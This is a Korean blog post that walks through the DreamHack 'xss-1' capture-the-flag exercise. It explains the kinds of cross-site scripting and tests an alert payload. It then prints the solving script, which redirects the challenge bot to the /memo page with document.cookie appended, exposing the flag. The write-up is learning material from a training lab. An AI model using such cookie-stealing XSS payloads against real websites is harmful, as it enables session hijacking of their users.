웹해킹/DreamHack

[휴학] DreamHack xss-1

美味코드 2022. 9. 14. 15:38

xss 기본 문제를 풀 것이다.

 

파이썬 소스 페이지는 문제에서 제공해준다. 첫번째 페이지이다.

 

2번째 페이지이다.

 

3번째 페이지이다.

 

3번째 페이지인 /flag에 여러가지를 넣어봤다. 어떤 문구를 넣든 good이라는 결과가 나왔다.

 

 

<핵심 코드>

*주관적임

여기엔 wrong도 있는데 코드분석 실패.......

/flag쪽 코드이다. FLAG.strip()을 실행시켜야할 것 같다.

 

위 함수에서 알게된 부분은 위 ip주소(127.0.0.1)가 cookie를 가지고 있다는 것밖에 해석하지 못했다.'

 

 

<문제 풀이>

 

xss의 이해도가 낮은 것 같아서 개념정리를 했다.

 

<정의>

xss(Cross-Site Scripting): OWASP에도 몇년동안 계속 올라오는 단순하고 악질적이다. 클라이언트 사이드 취약점 중 하나이며 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에 해당 스크립트를 실행할 수 있다. 공격 종류는 총 4가지 이다.

 

1. Reflected xss: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생. (단, URL과 같은 이용자의 요청에 의해 발생)

 

2. Stored xss: 서버의 DB 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생. (불특정 다수에게 보여짐, 1번과 다름)

 

3. DOM-based xss: 악성 스크립트가 URL Fragment에 삽입됨.

 

4. Universal xss: 클라이언트의 브라우저 혹은 플러그인에서 발생하는 취약점으로 SOP 정책을 우회함.

 

<xss 공격 수행을 확인 조건>

1. 입력 데이터에 대한 충분한 검증 과정이 없어야 함.

2. 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 함.

 

해당 문제는 Reflected를 이용한 것 같았기에 찾아보기 시작했다.

 

<Reflected 공격 테스트 예시>

    1.  <script>alert(숫자 또는 "문자");</script>

 

를 이용해서 확인해 주었고, 이때도 good이 뜬 것으로 보아 다른 방법을 이용해야 할 것 같다.

 

두번째 페이지인 /memo로 경로를 재지정 해주고 검증기능을 우회해야할 것 같다.

 

<사용한 공격>

    1.  location.href="http://아이피주소/php?="  (URL 주소 반환)

    2.  document.cookie  (document 쿠키 반환)

 

이 두가지를 사용해

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie;</script>

공격 스크립트를 만들어서 위에 삽입해 주었다.

 

이렇게 되면 /memo 페이지에 flag가 뜬 것을 확인할 수 있다.

 

삽질을 가장 많이 한 문제이다. 

 

공포의 주소창 공격....!!

삽질 예시... SQL Injection 공격이 생각나서 해봤다... 하지만 강의에 나온대로 따라가야 했다.

 

 

<참고 문헌>

https://mommoo.tistory.com/60 - post
https://gomguk.tistory.com/61 - xss ex
https://rjswn0315.tistory.com/177 공격 코드
https://beomi.github.io/2017/09/28/HowToMakeWebCrawler-Headless-Chrome/ - headless
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=is_king&logNo=221462496373 - urllib.parse.quote
https://webhack.dynu.net/?idx=20161214.001&print=friendly - 쿠키 탈취

https://learn.dreamhack.io/7#18  - xss 개념정리 1
https://learn.dreamhack.io/173#5  - xss 개념정리 2

'웹해킹 > DreamHack' 카테고리의 다른 글

[휴학] DreamHack xss-2  (0) 2022.09.14
[휴학] DreamHack devtools-sources  (0) 2022.09.08
[휴학] DreamHack Web Hacking, session-basic  (0) 2022.09.07